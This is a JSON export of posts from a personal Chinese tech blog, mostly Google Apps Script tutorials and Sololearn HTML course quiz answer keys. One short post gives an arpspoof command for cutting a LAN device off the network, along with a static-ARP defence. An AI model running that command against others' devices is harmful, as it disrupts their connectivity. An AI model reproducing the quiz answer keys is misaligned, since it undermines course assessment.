SpreadsheetApp.getActiveSheet().getRange('B:C').getColumn() 选中 B 和 C 列,B 列作为起始列,B 列在第 2 列的位置,所以返回的结果是 2。 获取列数 getNumColumns() 获取指定范围内的列数。代码示例: SpreadsheetApp.getActiveSheet().getRange('B3:C10').getNumColumns() 选择 B3 到 C10 范围,B 到 C 列一共就两列,所以返回值是 2。 获取行数 getNumRows() 获取指定范围内的行数。代码示例: SpreadsheetApp.getActiveSheet().getRange('B3:C10').getNumRows() 选择 B3 到 C10 范围,从第 3 行到 第 10 行这个范围一共有 8 行,所以返回值是 8。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 获取行和列数","feature":"https://dev-coco.github.io/post-images/Google-Script-Get-Row-Column.jpg","link":"https://dev-coco.github.io/post/Google-Script-Get-Row-Column/","stats":{"text":"2 min read","time":84000,"words":360,"minutes":2},"date":"2022-07-27 21:12:47","dateFormat":"2022-07-27"},{"content":"查询视频的观看次数、点赞次数、评论次数、视频标题、上传日期、视频时长。 使用前需要添加 YouTube Data API v3 服务。 /** * @description 查询观看次数、点赞次数、评论次数 * @param {Array} videoUrls - 视频链接 * @returns {Array} 查询结果 */ function videoData (videoUrls) { const accessToken = ScriptApp.getOAuthToken() const data = [] for (const videoID of videoUrls) { if (videoID) { const videoStats = YouTube.Videos.list('statistics', {'id': videoID.replace(/.+=/g, ''), 'access_token': accessToken }).items[0].statistics data.push([videoStats.viewCount, videoStats.likeCount, videoStats.commentCount]) } else { data.push(['', '', '']) } // End if } // End for of return data } /** * @description 查询视频标题、上传日期、时长 * @param {Array} videoUrls - 视频链接 * @returns {Array} 查询结果 */ function videoInfo (videoUrls) { const accessToken = ScriptApp.getOAuthToken() const data = [] for (const url of videoUrls) { if (url) { const videoID = url.replace(/.+=/g, '') let videoDuration = YouTube.Videos.list('contentDetails', { 'id': videoID, 'access_token': accessToken }).items[0].contentDetails.duration.replace(/[HMS]/g, ':').replace(/PT|:$/g, '') if (videoDuration.length <= 2) { videoDuration = `0:${videoDuration}` } const videoSnippet = YouTube.Videos.list('snippet', { 'id': videoID, 'access_token': accessToken }).items[0].snippet const d = new Date(videoSnippet.publishedAt) const year = d.getFullYear() const month = d.getMonth() const day = d.getDate() data.push([videoSnippet.title, `${year}年${month}月${day}日`, videoDuration]) } else { data.push(['', '', '']) } // End if } // End for of return data } 使用方法 将 YouTube 视频链接以数组的格式放入变量,运行后会返回二维数组,可以直接写入工作表中。 获取 YouTube 缩略图 =IMAGE("https://img.youtube.com/vi/"&RIGHT(A1, 11)&"/maxresdefault.jpg") ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"YouTube 视频数据分析","feature":"","link":"https://dev-coco.github.io/post/YouTube-Analyze/","stats":{"text":"2 min read","time":93000,"words":309,"minutes":2},"date":"2022-07-26 19:43:47","dateFormat":"2022-07-26"},{"content":"Sololearn HTML course HTML5 answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn HTML course. Other course answers Sololearn HTML course Overview answers Sololearn HTML course HTML Basics answers Sololearn HTML course Challenges answers 26.1 Lesson Introduction to HTML5 Question: HTML5 Drag and drop from the options below to create a valid HTML5 doctype: Answer: <!DOCTYPE HTML> <html> <head> <title>Title</title> </head> <body>The content of the document</body> </html> Question: New in HTML5 Which element/feature is not new in HTML5? Answer: Image 27.1 Lesson Content Models Question: How many content models does HTML5 offer? Answer: 7 Question: Content Models Where is the metadata located in an HTML5 document? Answer: head Question: Content Models Which content model contains almost all of the others? Answer: Flow 28.1 Lesson HTML5 Page Structure Question: Page Structure in HTML5 Rearrange the following blocks to create a generalized HTML5 page structure. Answer: <header> <nav> <article> <section> <footer> 29.1 Lesson header, nav & footer Question: The <header> Element The header element is appropriate to use... Answer: ...inside of the body tag Question: The <footer> Element Which tag specifies the footer element? Answer: <footer> Question: The <nav> Element Rearrange the sections to create a generic HTML5 page structure: Answer: <head> <header> <nav> <footer> 30.1 Lesson article, section & aside Question: The <article> Element Which element was usually used in HTML4 instead of the article tag? Answer: <div> Question: The <section> Element The section element should be used only inside an article element. Answer: False 31.1 Lesson The audio Element Question: The <aside> Element The aside element is used to define: Answer: secondary content 32.1 Lesson The video Element Question: Videos in HTML Fill in the blanks to create a video element: Answer: <video controls> <source src="video.mp4" type="video/mp4" /> <source src="video.ogg" type="video/ogg" /> Video not supported </video> Question: Attributes of <video> Rearrange the code to create a valid video tag that will attempt to play the mp4 file first. Answer: <video controls> <source src="a.mp4" type="video/mp4"> <source src="a.ogg" type="video/ogg"> Video is not supported </video> 33.1 Lesson The progress Element Question: Progress Bar Define a progress bar that shows 63 percent of progress: Answer: <progress min="0" max="100" value="63"> </progress> 34.1 Lesson Web Storage API Question: HTML5 Web Storage Before HTML5, application data was stored in: Answer: cookies Question: Types of Web Storage Objects What are the two types of HTML5 web storage? Answer: localStorage sessionStorage Question: Working with Values Drag and drop from the options below to clear all values stored in the localStorage. Then store "a" using the key "b". Answer: localStorage.clear(); localStorage.setItem("b", "a"); 35.1 Lesson Geolocation API Question: What is the Geolocation API? With the Geolocation API, you can obtain... Answer: ...user location Question: Using HTML Geolocation Which choice is the mandatory parameter of the getCurrentPosition() method? Answer: showLocation Question: Presenting Data What are the two known ways to present location specific data? Answer: Geodetic Civic 36.1 Lesson Drag&Drop API Question: Making Elements Draggable How many times can HTML5 events be fired? Answer: Multiple 37.1 Lesson SVG Question: Drawing Shapes What does SVG stand for? Answer: scalable vector graphics Question: Inserting SVG Images Fill in the blanks to add "my.svg" to the page: Answer: <img src="my.svg" width="300px" alt="" /> Question: Drawing a Circle Fill in the blanks to create a red circle at the position X=50, Y=240: Answer: <svg width="1000" height="1000"> <circle cx="50" cy="240" r="10" fill="red" /> </svg> Question: Other Shape Elements Fill in the blanks to add a line to the page, starting from coordinates 10, 20 and ending at 50, 100: Answer: <svg width="500" height="500"> <line x1="10" y1="20" x2="50" y2="100" /> </svg> Question: <ellipse> and <polygon> Which of the following is an HTML5 SVG shape? Answer: polygon 38.1 Lesson SVG Animations & Paths Question: Shape Animations Which tag is used to create shape animations? Answer: <animate> Question: Paths Which shape is indicated by the following path? <path d="M0 0 L0 100 L100 100 L100 0 Z" /> Answer: Square 39.1 Lesson Canvas Question: The <canvas> Element You can draw on the canvas using... Answer: JavaScript Question: Canvas Coordinates X and Y are... Answer: ...coordinates from upper left corner Question: Drawing Shapes fillRect (36,10,22,12) indicates a rectangle with a height of... Answer: 12 40.1 Lesson SVG vs. Canvas Question: Canvas vs. SVG Which of the following statements are true? Answer: SVG has better accessibility. In Canvas, drawing is done with pixels. 41.1 Lesson Canvas Transformations Question: Working with Canvas Which method is used to move the canvas element? Answer: translate() Question: The rotate() Method The rotation parameter is in: Answer: Radians Question: The scale() Method What method is used to increase or decrease the size of the current drawing? Answer: scale 42.1 Lesson HTML5 Forms, Part 1 Question: HTML5 Forms Fill in the blanks: Answer: <form> <input type="text" name="name" /> </form> Question: New Attributes Drag and drop from the options below to auto focus on the input and create a placeholder: Answer: <form> <input type="text" name="name" placeholder="Enter your name" autofocus /> </form> Question: Forms with Required Fields Designate the username field as required, and focus on the name field when the page loads: Answer: <form autocomplete="off"> <input name="name" type="text" autofocus /> <br /> <input name="username" type="text" required /> </form> 43.1 Lesson HTML5 Forms, Part 2 Question: Creating a Search Box Fill in the blank to create a Search Box: Answer: <input type="search" /> Question: Search Options Fill in the blanks to associate the input with the datalist: Answer: <form> <input type="text" name="color"list="colors" /> <datalist id="colors"> <option value="Red"> <option value="Blue"> <option value="Green"> </datalist> </form> Question: Creating More Fields Which of the following is not a supported type for the input tag? Answer: planet 44.1 Lesson Module Quiz Question: Which choice is the correct HTML5 element for playing video files? Answer: <video> Question: The <canvas> element in HTML5 is used to: Answer: draw graphics Question: Which tag contains the navigation? Answer: <nav> Question: sessionStorage stores data for the duration of how many session(s)? Answer: one Question: What shape results from the following code? <svg width="100" height="100"> <line x1="50" y1="0" x2="50" y2="100" style="stroke:black" /> <line x1="0" y1="50" x2="100" y2="50" style="stroke:black" /> </svg> Answer: Plus sign Question: Fill in the blanks to turn off auto complete and require the password field. Answer: <form autocomplete="off"> <input type="text" name="name" /> <input type="password" name="pass" required /> </form> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn HTML course HTML5 answers","feature":"https://dev-coco.github.io/post-images/Sololearn-HTML-Course.png","link":"https://dev-coco.github.io/post/Sololearn-HTML-Course-HTML5-Answers/","stats":{"text":"10 min read","time":541000,"words":1443,"minutes":10},"date":"2022-07-25 22:04:15","dateFormat":"2022-07-25"},{"content":"Sololearn HTML course HTML Basics answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn HTML course. Other course answers Sololearn HTML course Overview answers Sololearn HTML course Challenges answers Sololearn HTML course HTML5 answers 6.1 Lesson Headings, Lines, Comments Question: HTML Headings What tags are used to indicate headings? Answer: h1 - h6 Question: Horizontal Lines How do you create a horizontal line in HTML? Answer: <hr /> Question: Comments Make the text an HTML comment: Answer: <!-- This is a comment --> 7.1 Lesson Paragraphs Question: The <p> Element Drag and drop from the options below to create paragraphs: Answer: <p>HTML is easy!</p> <p>HTML is fun!</p> Question: Single Line Break What tag is used to create a line-break without an extra space between the text blocks? Answer: br Question: Single Line Break Fill in the blanks: Answer: <html> <body> <p>This is a paragraph </> <p> This is </> a line break </p> </body> </html> 8.1 Lesson Text Formatting Question: Formatting Elements Which two tags below make the text visually bold? Answer: b and strong Question: Formatting Elements Fill in the correct tags: Answer: <strong>important text</strong> <sub> subscripted text</sub> 9.1 Lesson Blog Project: About Me Question: Formatting Text Fill in the blanks to form a valid HTML: Answer: <p> Some quote <br /> <i> - by some author</i> </p> 10.1 Lesson Elements Question: HTML Elements General HTML elements consist of: Answer: opening tag, content, closing tag Question: HTML Elements Fill in the blanks: Answer: <html> <head> <title>Title</title> </head> <body> <p>Some text</p> </body>undefined </html> 11.1 Lesson Attributes Question: HTML Attributes What is the role of an attribute in HTML? Answer: it modifies the tag Question: Attribute Measurements What measurement units can be used for the width attribute? Answer: pixel and % Question: The Align Attribute What attribute is used to align the contents of an element to the right, center or left? Answer: align Question: Attributes Which attribute is used to align the content of a paragraph to the right? Answer: <p align="right"> 12.1 Lesson Images Question: The <img> Tag What tag should be used to add an image? Answer: <img/> Question: Image Location What attribute should be used to add an image URL? Answer: src Question: Image Resizing What two attributes can be used to resize images inside HTML code? Answer: height width Question: Image Border Fill in the blank: Answer: <img src="tree.jpg" alt="" /> 13.1 Lesson Lists Question: HTML Ordered Lists Enter the tag corresponding to the list item: Answer: <li> Question: HTML Unordered List Fill in the blanks: Answer: <ul> <li>Item 1 </li> <li>Item 2</li> </ul> 14.1 Lesson Blog Project: My Skills Question: My Skills Fill in the blanks to create a list in which the first item links to www.sololearn.com. Answer: <ul> <li> <a href="https://www.sololearn.com">A</a> </li> <li>B</li> </ul> 15.1 Lesson Tables Question: Creating a Table What tag is used to create columns in a row? Answer: td Question: The border and colspan Attributes What attribute is used to expand a cell for two or more cells? Answer: colspan Question: Colspan Color Fill in the blanks: Answer: <table> <tr> <td>Text 1</td> <td>Text 2</td> </tr> </table> Question: The align and bgcolor Attributes What attribute is used to change the color of a cell? Answer: bgcolor 16.1 Lesson Links Question: The <a> Tag What tag is used to create a link to a web page? Answer: <a href=""> Question: Creating Your First Link Which attribute of the link tag contains the URL location that you are trying to link to? Answer: href Question: The target Attribute Which value of the target attribute makes the link open in a new tab or a new window? Answer: <a href="2.html" target="_blank"> 17.1 Lesson Blog Project: My Schedule Question: My Schedule Fill in the blanks to create a valid table: Answer: <table> <tr> <td>A</td> <td>B</td> </tr> </table> 18.1 Lesson Inline and Block Elements Question: Types of Elements Which of the following are block level elements? Answer: h1 div Question: Types of Elements Can you insert a block element inside an inline element? Answer: No 19.1 Lesson Forms Question: The <form> Element Which attribute contains the URL address of the webpage that is loaded after a form submission? Answer: action Question: The method and name Attributes Which value for the type attribute should be used for a password field? Answer: <input type="password"> Question: Form Elements Fill in the blanks: Answer: <form method="POST" action="#"> <input type="text" name="name"> <input type="submit" name="submit"> </form> Question: Form Elements Which value for the type attribute turns the input tag into a submit button? Answer: submit 20.1 Lesson Blog Project: Contact Form Question: Contact Form To support multiple lines of input you should use the following element: Answer: textarea 21.1 Lesson HTML Colors Question: HTML Colors! What characters does the hexadecimal system consist of? Answer: 0-f Question: HTML Color Model Which color model does HTML use? Answer: RGB Question: Color Values What would be the value of the color black in HTML, expressed by 6 hex characters? Answer: #000000 Question: Background and Font Colors Set the background color to white: Answer: <body bgcolor="#FFFFFF"> 22.1 Lesson Frames Question: The <frame> Tag What attributes does the frameset tag require to indicate its size? Answer: rows and cols Question: Working with Frames Which attribute prevents a frame from resizing? Answer: noresize 23.1 Lesson Blog Project: Putting It All... Question: Blog Project The sections in the blog project are created using the following tag: Answer: div 24.1 Lesson Module 2 Quiz Question: When formatting text, can you get the same result when using different tags? Answer: yes Question: What does the href attribute contain? Answer: the URL of the page to be transferred Question: Which tag contains the cell tags besides the table tag? Answer: <tr> Question: What does HTML stand for? Answer: Hyper Text Markup Language Question: Choose the correct HTML tag for the largest heading: Answer: <h1> Question: Which of these tags are all table tags? Answer: <table><tr><td> Question: Fill in the blanks: Answer: <html> <body> <form method="POST"> <img src="image.jpg" /><br /> <input type="text" name="name"> <input type="submit" name="Submit"> </form> </body> </html> Question: Align the text of the paragraph to the right: Answer: <html> <body align="center"> <div align="right"> <p>This is a line of text</p> </div> </body> </html> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn HTML course HTML Basics answers","feature":"https://dev-coco.github.io/post-images/Sololearn-HTML-Course.png","link":"https://dev-coco.github.io/post/Sololearn-HTML-Course-HTML-Basics-Answers/","stats":{"text":"9 min read","time":515000,"words":1374,"minutes":9},"date":"2022-07-25 21:43:12","dateFormat":"2022-07-25"},{"content":"Sololearn HTML course Overview answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn HTML course. Other course answers Sololearn HTML course HTML Basics answers Sololearn HTML course Challenges answers Sololearn HTML course HTML5 answers 1.1 Lesson What is HTML? Question: Is HTML used for creating websites? Answer: Yes Question: Welcome to HTML! HTML code is used to Answer: structure the content of a web page Question: From HTML code to Web Pages True or false? Web browsers read HTML code to display the resulting web page Answer: True Question: Text Paragraphs Which of the following is the valid paragraph tag? Answer: <p> Question: Opening and Closing Tags Drag and drop to create a valid paragraph element with the content "I'm a paragraph". Answer: <p>I'm a paragraph</p> Question: HTML Elements Which of the following will create a text paragraph on a web page? Answer: <p>Paragraph 1</p> Question: Lesson Takeaways Select the only true statement Answer: HTML controls the structure of a web page 2.1 Lesson HTML Elements Question: Writing HTML code You can use the Code Playground to write, run and test code. Answer: TRUE Question: More HTML Elements What’s the HTML tag for a Level 1 heading element? Answer: <h1> Question: Text Headings Drag and drop to create text headings of two different levels Answer: <h1>Food Menu</h1> <h2>Starters</h2> Question: Container Tags Drag and drop to create valid HTML code Answer: <h1>Section 1</h1> <h2>Chapter 3</h2> <p>Once upon a time …</p> Question: Image Tags Drag and drop to create a valid image tag in HTML Answer: <img src="http://www.sololearn/image.jpg"> Question: Lesson Takeaways Select all of the true statements Answer: Images don't require a closing tag Images are examples of empty tags 3.1 Lesson Creating Your First HTML Page Question: The HTML File What type of editor is used to edit HTML code? Answer: text editor Question: The HTML File What is the correct extension for HTML files? Answer: .html Question: The <head> Tag Drag and drop from the options below to create a valid HTML document: Answer: <html> <head> </head> </html> Question: The <title&gt Tag Where should you put the title tag? Answer: Between the head tags 4.1 Lesson Creating a Blog Question: Creating a Blog Fill in the blanks to add a title to the html page. Answer: <html> <head> <title>My Blog</title> </head> </html> 5.1 Lesson Module 1 Quiz Question: What is HTML? Answer: Markup Language Question: Of which main parts does the HTML file consist of? Answer: head and body Question: Which tag contains the visual part of the web page? Answer: <body> Question: Fill in the blanks: Answer: <html> <head> </head> <body>This is a line of text. </ body> </html> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn HTML course Overview answers","feature":"https://dev-coco.github.io/post-images/Sololearn-HTML-Course.png","link":"https://dev-coco.github.io/post/sololearn-html-course-overview-answers/","stats":{"text":"4 min read","time":211000,"words":563,"minutes":4},"date":"2022-07-25 20:52:50","dateFormat":"2022-07-25"},{"content":"Sololearn HTML course Challenges answers .q,.a{font-weight:bold;}.q{color:red;}.a{color:green} Here are all the questions and answers that I hope will help you learn HTML course. Other course answers Sololearn HTML course Overview answers Sololearn HTML course HTML Basics answers Sololearn HTML course HTML5 answers 25.1 Lesson Challenge 1 Question: Is width="100" and width="100%" the same? Answer: No Question: Fill in the blanks to create an h1 heading containing the text "My first website" followed by an h2 tag containing "Sample Page": Answer: <html> <body> <h1>My First Website</h1> <h2>Sample Page</h2> </body> </html> Question: Fill in the blanks to make the paragraph bold using the tag: Answer: <h1>Some heading</h1> <p><b>I am learning HTML</b></p> Question: During page creation, which tag adds a page name that will show in the title bar of the user's Internet browser? Answer: <title> Question: Fill in the blanks to make the text "First paragraph" a comment: Answer: <html> <body> <!-- First paragraph --> <p>Welcome to my webpage</p> </body> </html> Question: Fill in the blanks to display the image, "tree.jpg", at a 200px height and a 500px width: Answer: <img src="tree.jpg" height="200px" alt="" width="500px" /> Question: Fill in the blanks to create an ordered list: Answer: <h4>An Ordered List: </h4> <ol> <li>Coffee</li> <li>Tea</li> <li>Milk </li> </ol> Question: Fill in the blanks and align the table to the center of the page: Answer: <html> <head> <title>My Page</title> </head> <body> <table align="center"> <tr> <td> <ul> <li>item</li> </ul> </td> </tr> </table> </body> </html> Question: Fill in the blanks so that the website www.sololearn.com opens upon clicking the image: Answer: <a href="http://www.sololearn.com"> <img src="1.jpg" alt="" /> </a> ","tags":[{"name":"Sololearn","slug":"sololearn","used":true,"link":"https://dev-coco.github.io/tag/sololearn/"}],"title":"Sololearn HTML course Challenges answers","feature":"https://dev-coco.github.io/post-images/Sololearn-HTML-Course.png","link":"https://dev-coco.github.io/post/Sololearn-HTML-Course-Challenges-Answers/","stats":{"text":"3 min read","time":166000,"words":443,"minutes":3},"date":"2022-07-25 19:29:01","dateFormat":"2022-07-25"},{"content":"获取指定单元格的范围。 当前选中单元格 getCurrentCell() 获取表格内选中的其中一个单元格,即使选择多个单元格,也只返回左上角的第一个单元格。代码示例: SpreadsheetApp.getActiveSheet().getCurrentCell() 例如下图,选中 B4 到 D10,但是只会返回 B4 单元格的范围。 当前选中范围 getActiveRange() 获取表格内选中的范围。代码示例: SpreadsheetApp.getActiveSheet().getActiveRange() 例如下图,选中 B3 到 C5 这个范围,那么就会返回这部分单元格的范围。 当前数据存在范围 getDataRange() 从 A1 为起始点获取当前数据存在的范围。代码示例: SpreadsheetApp.getActiveSheet().getDataRange() 例如下图,数据存放在 B2 到 D8 的范围,那么会返回从 A1 到 D8 单元格的范围。 获取指定范围 方法一 getRange(a1Notation) a1Notation 放入 A1 表示法引用单元格范围。代码示例: SpreadsheetApp.getActiveSheet().getRange('C2:C7') 那么会获取 C2 到 C7 范围的单元格。 方法二 getRange(row, column, numRows, numColumns) row 设置起始行;column 设置起始列;numRows 设置行数,非必填参数,默认为 1;numColumns 设置列数,非必填参数,默认为 1。 代码示例: SpreadsheetApp.getActiveSheet().getRange(4, 2, 3, 2) 从第 3 行,第 2 列开始计算,也就是下图中 B4 的位置,然后再获取 3 行 和 2 列的内容。同等于 B4:C6 范围。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 获取范围","feature":"https://dev-coco.github.io/post-images/Google-Script-Get-Range.jpg","link":"https://dev-coco.github.io/post/Google-Script-Get-Range/","stats":{"text":"2 min read","time":79000,"words":348,"minutes":2},"date":"2022-07-24 04:42:26","dateFormat":"2022-07-24"},{"content":"将内容写入到日志进行调试。 字符写入日志 Logger.log(data) data 放入需要输出到日志的内容。下面是示例代码: Logger.log('Log 测试') 输出结果 格式化后的字符写入日志 Logger.log(format, values) format 放入包含占位符的内容,values 放入相应的变量。 %d 占位符代表整数,下面是示例代码: Logger.log('我有 %d 本书', 5) 输出结果 输出的结果会将内容中 %d 替换对应的参数。 %s 占位符代表字符串 Logger.log('青苹果是%s', '绿色') 输出结果 支持同时使用多个占位符,示例代码如下: Logger.log('橘子是%s的,香蕉是%s的', '橙色', '黄色') 输出结果 会按照从左到右的顺序放入对应的变量。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 Logger 调试","feature":"https://dev-coco.github.io/post-images/Google-Script-Logger-Debug.jpg","link":"https://dev-coco.github.io/post/Google-Script-Logger-Debug/","stats":{"text":"1 min read","time":45000,"words":205,"minutes":1},"date":"2022-07-22 11:03:04","dateFormat":"2022-07-22"},{"content":"ARP 断网攻击是针对地址解析协议的一种攻击技术,可以让攻击者取得内网的数据封包甚至篡改,也可以让被攻击的设备无法正常连接网络。 ARP 攻击 输入 ifconfig 查看当前使用的网卡信息。例如当前使用的是 en1。 使用 arp -a 获取当前局域网下的所有设备的内网 IP 和 MAC 地址。 例如要攻击 192.168.2.254 这个设备,输入命令: sudo arpspoof -i 网卡 -t 内网IP 路由器IP 然后另外一个设备的网络就无法正常连接。 防范方法 sudo arp -s 路由器IP BSSID BSSID 在网络可以查看,按住 option 键,然后再点击网络。 设置后,当设备再次被 ARP 攻击时依然可以正常联网,不受影响。 ","tags":[{"index":-1,"name":"安全","slug":"security","used":true,"link":"https://dev-coco.github.io/tag/security/"}],"title":"ARP 断网攻击","feature":"","link":"https://dev-coco.github.io/post/ARP-Disconnection-Attack/","stats":{"text":"1 min read","time":47000,"words":213,"minutes":1},"date":"2022-07-21 21:55:18","dateFormat":"2022-07-21"},{"content":"使用指纹快速授权,节省输入密码的时间。 在使用 sudo 命令的时候,需要输入开机密码才可以获取 root 权限。当密码特别长的时候,输入密码就会特别费时间。 在 Terminal 输入以下命令,然后重新启动 Terminal。 sudo sed -i ".bak" '2s/^/auth sufficient pam_tid.so\\'$'\\n/g' /etc/pam.d/sudo 再次使用 sudo 命令的时候,就会提示使用指纹来解锁了。 上面的命令会把 /etc/pam.d/sudo 这个文件备份为 sudo.bak,然后在 sudo 文件的第二行加入 uth sufficient pam_tid.so。修改的目的是为了在 sudo 命令认证过程加入一个 Touch ID 验证的模块。 如果需要恢复原来的文件,运行以下命令。 sudo mv /etc/pam.d/sudo.bak /etc/pam.d/sudo ","tags":[{"name":"Shell","slug":"shell","used":true,"link":"https://dev-coco.github.io/tag/shell/"},{"index":-1,"name":"macOS","slug":"macos","used":true,"link":"https://dev-coco.github.io/tag/macos/"}],"title":"Touch ID 授权 MacOS 终端","feature":"","link":"https://dev-coco.github.io/post/TouchID-Authorize-Terminal/","stats":{"text":"1 min read","time":49000,"words":207,"minutes":1},"date":"2022-07-20 00:04:47","dateFormat":"2022-07-20"},{"content":"通过脚本对表格进行操作。 注意:以下所有内容,必须先 获取到工作表后 才可以进行操作。 隐藏表格 使用 hideSheet() 将工作表隐藏,但是不允许把所有的工作表全部都隐藏起来,至少保留一个公开的工作表。 SpreadsheetApp.getActiveSpreadsheet().getSheets()[1].hideSheet() 显示表格 使用 showSheet() 显示被隐藏起来的工作表,如果工作表已经显示则不会有任何效果。 SpreadsheetApp.getActiveSpreadsheet().getSheets()[1].showSheet() 修改表格名称 使用 setName(name) 修改表格名称,name 参数放入表格的名称。 SpreadsheetApp.getActiveSheet().setName(name) 复制表格 使用 copyTo 可以复制一个工作表,也可以将工作表复制到另外一个电子表格。 const sheet = SpreadsheetApp.getActiveSpreadsheet() const orginSheet = sheet.getActiveSheet() orginSheet.copyTo(sheet) 需要两个参数,一个是工作表,另一个是电子表格。例子中的 orginSheet 变量是当前的工作表,使用 copyTo(sheet),sheet 参数放入电子表格,可以是当前的电子表格,也可以是其它的电子表格,前提是需要有编辑的权限。 复制完表格后,默认会在原来表格名称的基础上加上(副本),不过可以使用上面提到的 setName 将新建的表格重命名。 const sheet = SpreadsheetApp.getActiveSpreadsheet() const orginSheet = sheet.getActiveSheet() orginSheet.copyTo(sheet).setName('sheetName') 复制工作表后,将工作表重命名为 “sheetName”。 删除表格 使用 deleteSheet(spreadsheet) 删除工作表,spreadsheet 参数放入工作表。 const sheet = SpreadsheetApp.getActiveSpreadsheet() sheet.deleteSheet(sheet.getSheets()[1]) 需要两个参数,一个是电子表格,另一个是工作表。例子中的 sheet 变量是当前的电子表格,使用 deleteSheet(spreadsheet),spreadsheet 放入需要删除的工作表。 保护表格 使用 protect() 设置工作表的保护权限,禁止被编辑。 const sheet = SpreadsheetApp.getActiveSheet() const email = sheet.protect().getEditors() sheet.protect().removeEditors(email) 例子中的 sheet 变量是当前的工作表。使用 protect() 为工作表添加保护权限,但是在默认情况下,添加保护会允许所有人都可以编辑,所以需要移除掉所有人,仅限自己可以编辑。使用 getEditors() 获取到当前表格有权限的邮箱账号,并且设置 email 变量。removeEditors(email) 用来移除其他人的权限,email 参数放入邮箱,支持数组。全部邮箱都移除后,最后就剩下自己的账号有编辑的权限了。 取消保护 使用 protect() 取消工作表的保护权限。 const sheet = SpreadsheetApp.getActiveSheet() sheet.protect().remove() 例子中的 sheet 变量是当前的工作表,使用 protect() 操作工作表的保护权限,再使用 remove() 移除所有的保护权限。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"},{"name":"Excel","slug":"excel","used":true,"link":"https://dev-coco.github.io/tag/excel/"}],"title":"Google 脚本 操作表格","feature":"https://dev-coco.github.io/post-images/Google-Script-Operate-Excel.jpg","link":"https://dev-coco.github.io/post/Google-Script-Operate-Excel/","stats":{"text":"3 min read","time":151000,"words":672,"minutes":3},"date":"2022-07-15 02:00:27","dateFormat":"2022-07-15"},{"content":"获取工作表的一些信息。 获取工作表名称 getSheetName() 需要先获取到电子表格后,才可以获取当前工作表的名称,代码示例如下: SpreadsheetApp.getActiveSpreadsheet().getSheetName() 获取当前工作表 ID getSheetId() 需要先 获取到电子表格 后,才可以获取到当前工作表的 ID,也就是 gid= 后面数字的部分,返回的结果是数值。代码示例如下: SpreadsheetApp.getActiveSpreadsheet().getSheets()[1].getSheetId() 跳转表格 第一种 setActiveSheet(sheet) sheet 参数需要放入电子表格。示例如下: SpreadsheetApp.setActiveSheet(SpreadsheetApp.getActiveSpreadsheet().getSheets()[1]) 使用 SpreadsheetApp.getActiveSpreadsheet().getSheets()[1] 获取到第二个工作表,然后把整个代码作为 setActiveSheet 的参数。运行后就会跳转到第二个工作表了。 第二种 activate() 使用前需要先 获取到工作表,然后在后面使用 activate(),完整例子如下: SpreadsheetApp.getActiveSpreadsheet().getSheets()[0].activate() 先获取到第一个工作表,然后使用 activate() 跳转到获取到的工作表。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 工作表相关","feature":"https://dev-coco.github.io/post-images/Google-Script-Sheet-Related.jpg","link":"https://dev-coco.github.io/post/Google-Script-Sheet-Related/","stats":{"text":"1 min read","time":55000,"words":247,"minutes":1},"date":"2022-07-12 07:04:11","dateFormat":"2022-07-12"},{"content":"使用一些不同的方法获取工作表,然后才可以进行一些其它的操作。 获取工作表 获取当前正在使用的工作表 SpreadsheetApp.getActiveSheet() 通过 getActiveSheet() 获取当前正在使用的工作表,无需放入任何参数,需要绑定 Google 应用才可以使用。 获取所有的工作表 getSheets() 在使用 getSheets() 之前需要先 获取到电子表格,然后才可以使用。例如获取当电子表格的所有工作表,那么先获取到当前的电子表格 SpreadsheetApp.getActiveSpreadsheet(),然后再加上 getSheets() 完整代码如下: SpreadsheetApp.getActiveSpreadsheet().getSheets() 当然,也可以把 getActiveSpreadsheet() 换成其它的方法来获取电子表格的,然后再获取工作表,获取到的结果是一个数组。 指定名称获取工作表 getSheetByName(name) 需要先获取到电子表格后,才可以获取指定的工作表,name 放入工作表的名称。代码示例如下: SpreadsheetApp.getActiveSpreadsheet().getSheetByName('工作表1') ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 读取工作表","feature":"https://dev-coco.github.io/post-images/Google-Script-Read-Sheet.jpg","link":"https://dev-coco.github.io/post/Google-Script-Read-Sheet/","stats":{"text":"1 min read","time":54000,"words":255,"minutes":1},"date":"2022-07-12 00:18:37","dateFormat":"2022-07-12"},{"content":"Google 脚本的 SpreadsheetApp 服务可以读取、写入、创建表格。 获取电子表格 获取当前电子表格 SpreadsheetApp.getActiveSpreadsheet() 通过 getActiveSpreadsheet() 获取当前正在使用的电子表格,无需放入任何参数,需要绑定 Google 应用才可以使用,否则获取不到当前正在使用的电子表格。 通过链接获取电子表格 SpreadsheetApp.openByUrl(url) 通过 openByUrl(url) 获取指定的电子表格,url 参数放入表格的链接,需要注意的是当前的 Google 账号必须有表格的访问权限,否则获取不到电子表格。 通过表格 ID 获取电子表格 SpreadsheetApp.openById(id) 通过 openById(id) 获取指定的电子表格,id 参数放入表格的 ID,效果和 openByUrl 一样,唯一的区别就是 openByUrl 放入的是表格链接,openById 放入的是表格 ID。 ","tags":[{"name":"Google 脚本","slug":"google-script","used":true,"link":"https://dev-coco.github.io/tag/google-script/"}],"title":"Google 脚本 